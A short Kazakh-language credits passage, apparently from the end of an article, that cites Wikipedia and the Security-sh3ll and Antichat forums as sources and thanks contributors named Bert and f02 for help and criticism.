Жазу кезінде материалдардан
Уикипедия,
Security-sh3ll (spl0it) шетелдік форумынан
Antichat форумынан (GreenBear).
-ға ерекше рахмет БертЖәне f02сіздің көмегіңіз үшін,
қолдау және жақсы сын)